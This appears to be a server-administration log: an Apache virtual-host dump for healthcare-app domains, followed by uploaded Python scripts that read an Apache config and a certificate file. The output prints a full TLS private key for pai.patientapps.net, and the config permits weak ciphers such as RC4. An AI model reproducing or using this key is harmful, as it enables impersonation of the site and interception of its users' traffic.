         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-19 20:41:57: 

PUT: /tmp/pkp491369

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-19 20:41:57: 

chmod 755 /tmp/pkp491369; /tmp/pkp491369; rm /tmp/pkp491369

2026-07-19 20:41:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf	1572

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-19 20:41:57: 

PUT: /tmp/pkp183455

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-19 20:41:57: 

chmod 755 /tmp/pkp183455; /tmp/pkp183455; rm /tmp/pkp183455

2026-07-19 20:41:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt	7424
e4:cb:fd:e3:b6:dd:ed:ea:5c:17:4e:2a:50:9d:4e:8f

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBc/H/gpovdc1ty0Fcg95+MHyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE5MTk0MzI0WhcNMjYxMDE3MTk0MzIzWjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAz4vqsabeyKkoQMlzWbRu2dLS0orvqzgsRairCM/tzaU9Br8+p+PGDR1F
N1zCsM1OsjUEv2n/6IZXUqD19nEaQDhlmLOaHZZWW5w0IXovu0yi0wJJ1vtpHFNS
GrEzHoZwBM1ldzHHlLLUAWglILcLRgtYxHv5FLlP17JPNm7UXH/RLq0XWk8KDUYN
QlOcbmGKUTI1c05KBs3YH7bPLdBLnCXYtZr8OaCmVzq5U9fUJdGm/3SM9rMJTxCd
Po3b/Kere8R0liLd4Nf+Vra0fecSJ0Fkjrka5nvVkN1SeHKLcbJaBK/8K4GUe9gf
vU8yOTLlcZyK3e7BAu23ISMSckKZ2wIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FE4Iy/yjkHmdX2D6cxrhXC1moc/jMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITcGFpLnBhdGllbnRhcHBzLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzExNS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgCvZ4g7
V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ98HS7FAAAEAwBHMEUCIEos
c8b7ejINRWSgPd49YX0Bu7l5tUbC9hj80RJc7T4fAiEAs7Wzrmgi9pMOMRiy9ciC
pZp59kuvxYirvpIDjYomkcgAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNf
XiYl7wAAAZ98HTCGAAgAAAUAK3YWwAQDAEgwRgIhAKgcVR5C8ndNWFQJAHM3hNeS
C20qwLspo8DMKQvp7Y8LAiEAslLK7ahJqlzo4oRVfYNylywdbxLt6NzKsYLKmQR3
MuYwDQYJKoZIhvcNAQELBQADggEBAFmR02b7+hscPvoCEtCc9WwZ2n3rXPAfkYoq
8QNvp7Dqyy7MHhod1w8MZiSjW9+6RkVDjP8/bHXCzS8snzljKgjv9r/ZYsG3Qu8x
1QUc+ST49hBH54lcUQSv5iLZ49dS3Larjz01iS5OaYnGGa8ZTjFkCLLqWWqOK681
UJ1MJdjwUS7dnLKU79EEJKOqGLRYp9MJFu++vli07kp9+7kUr6NwwziRhbrh+oQr
mK25hDZKgVcoAKpMFpA2olAutythgn1NL6Z/PVIJrYEEf7Ej1AsxiIt0rRaXznTL
3HdoWET3Z7TGZYRheYHqEkhiCyFjGNUJIO2jFUPohKRcSmemVJ8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQDPi+qxpt7IqShA
yXNZtG7Z0tLSiu+rOCxFqKsIz+3NpT0Gvz6n48YNHUU3XMKwzU6yNQS/af/ohldS
oPX2cRpAOGWYs5odllZbnDQhei+7TKLTAknW+2kcU1IasTMehnAEzWV3MceUstQB
aCUgtwtGC1jEe/kUuU/Xsk82btRcf9EurRdaTwoNRg1CU5xuYYpRMjVzTkoGzdgf
ts8t0EucJdi1mvw5oKZXOrlT19Ql0ab/dIz2swlPEJ0+jdv8p6t7xHSWIt3g1/5W
trR95xInQWSOuRrme9WQ3VJ4cotxsloEr/wrgZR72B+9TzI5MuVxnIrd7sEC7bch
IxJyQpnbAgMBAAECgf8YUk0uhF+XJDuTXAgoevyCijIqeh2b8vk9MIbagYNclgCQ
ydiN1CNhZgy2cChgj66pM41a4REcLqINDM/GEXsCC5ncSy/ER9nW4nc5dRgi2tg5
4grFJrEqoJj+h8V1zktSRL+fODYrNsmhYJL5QnoPu0SrwdtukkjI/hxKRLKeJCZT
hN8yQll88K/sfT4WW2DjwRl8/hkNY11C3y7ak6rmRJ9x6lrBz/yM3v4gVAOKQhML
blKCbOSOzF6mXVO6QZ/5EOO+A0gnq14g8MRD0/sr4h16o5nwP4B6WEwVBSRG003U
Fh30lmMK5HXNYTPMcSFY6gRDu9/odOF4/ii2GMECgYEA7SXJKHwEctJPuY1hqy2o
AIau8N3+TynALxpqOKblZKi94J4iWWpwZkuluGHRD0DzFveal/pfP8HrFPDpO/Gb
sjF529B4mGlkHc23LW9xNXCOKV1/ktDbOeiDbaZkz1yuwmmPpNbY4Vim7CnN48Ln
8TIm199HJCFDtKBCfgwLMKsCgYEA4Au3k249Zi/01N4bMJl51HyUbS4gT9BfcEeN
EFXEUdHScgHPriMY1ozMGpFr+Tfh2j9FwktH0jpy82mCsFLeTKrLxRNMMvfeWbmR
fMUebcjshOaFpUoc2bq5rfoDSp3T+G0gznDH6X6s6WGr7xLtscedQolRF2dfAxuO
Y7leG5ECgYBdy8EpSwvzYi14RWwo6VD2jE6rJBKOuwOxXbA/ofs++eLH8aPCW/AC
9c6hA8dNUjITlnFFxRhhPlC9op+NPv2G2DzLbUQVfDHF+/SEevx6137S65Emv4bF
+6nn95UN0ymn6VqQJw326zpyVAKEIDXe1yg3367iommGCpDiC99tKwKBgEyQNH/R
YHIXWVeVPz1wdU3D9QUKikg8MSExkmdOp/Q9++ix7cLYg5huLSG3KGrWSfxHOxOW
nkidaML9/4c6CnWwuEn0ukmAox+OZsV4p1llHE6eaHV/yjQtt15Y3d8V6GYxBNEH
gYmtnHF0y0i78zaZvIgMXQXecX2iYRp7MknBAoGBAKIS0YPoK0nTUnwtWbsYHyPX
/dK3lIRfWe7FsRUgNY+1SA1VJjP9SV6cPiTGkqKSwYFOEtV0LpfZl0v4nNKJ+Uy9
J9pAfvqouF4jaQB4g36J1oBJlB/0hak15YX5/hDi3rVOMx3OhX+gaNZjLF3x+waR
+MQyQLLTTYx5x4TJrnv6
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






